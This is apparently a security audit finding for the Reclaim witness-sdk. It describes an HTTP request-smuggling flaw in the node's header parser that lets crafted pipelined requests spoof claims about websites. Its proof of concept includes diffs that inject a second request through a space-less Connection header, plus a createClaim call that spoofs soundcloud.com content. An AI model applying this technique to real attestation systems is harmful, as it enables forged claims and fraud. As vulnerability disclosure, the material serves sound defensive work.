Claim spoofing via improper node HTTP parsing
Description
Reclaim's custom HTTP parsing is brittle and insufficiently general. This allows for a vulnerability where a crafted request can be interpreted as Connection: close
by Reclaim but Connection: keep-alive
by the target server. The Reclaim node will then perform response checks against the combined, pipelined HTTP response, allowing for claim spoofing.
To test this vulnerability, we can modify witness-sdk/src/providers/http-provider/index.ts
to add the additional request:
'Accept-Encoding: identity',
...buildHeaders(pubHeaders),
...secHeadersList,
+ 'Connection:keep-alive', // note the lack of space after the colon
+ '\r\n',
+ 'GET /reclaim-http-parse-poc HTTP/1.1',
+ 'Host: soundcloud.com',
+ 'Content-Length: 0',
+ 'Accept-Encoding: identity',
+ 'Connection: close',
'\r\n',
].join('\r\n')
We can then modify witness-sdk/src/utils/http-parser.ts
to continue reading until the server ends the connection:
streamEnded() {
if(!res.headersComplete) {
throw new Error('stream ended before headers were complete')
}
- if(remaining.length) {
- throw new Error('stream ended with remaining data')
- }
-
- if(remainingBodyBytes > 0) {
- throw new Error('stream ended before all body bytes were received')
- }
res.complete = true
}
// ...
// take the number of bytes we need to read, or the number of bytes remaining
// and append to the bytes of the body
bytesToCopy = Math.min(remainingBodyBytes, remaining.length)
- remainingBodyBytes -= bytesToCopy
Then, we can use the below code to create a claim that https://soundcloud.com is serving the content reclaim http parse poc
:
import { createClaim } from './src/index'
const claim = await createClaim({
name: 'http',
params: {
url: 'https://soundcloud.com/discover',
method: 'GET',
responseMatches: [{
type: 'contains',
value: 'reclaim http parse poc',
}],
responseRedactions: [],
},
secretParams: {
cookieStr: 'a',
},
ownerPrivateKey: '0x...'
})
console.log(claim)
This issue occurs in witness-sdk/src/utils/http-parser.ts
:
export function makeHttpResponseParser() {
// ...
} else if(!res.complete) { // parse the header
const [key, value] = line.split(': ')
res.headers[key.toLowerCase()] = value
Note that there may be other ways to exploit similar issues to inject headers or body content, depending on server behavior.
Impact
This allows an attacker to spoof claims for most websites that use reverse proxy services. In particular, any website that uses AWS CloudFront is affected.
Recommendations
Reclaim should strictly construct and validate HTTP requests based on an internal (such as JSON) representation of the request, rather than directly validating the flexible textual HTTP format.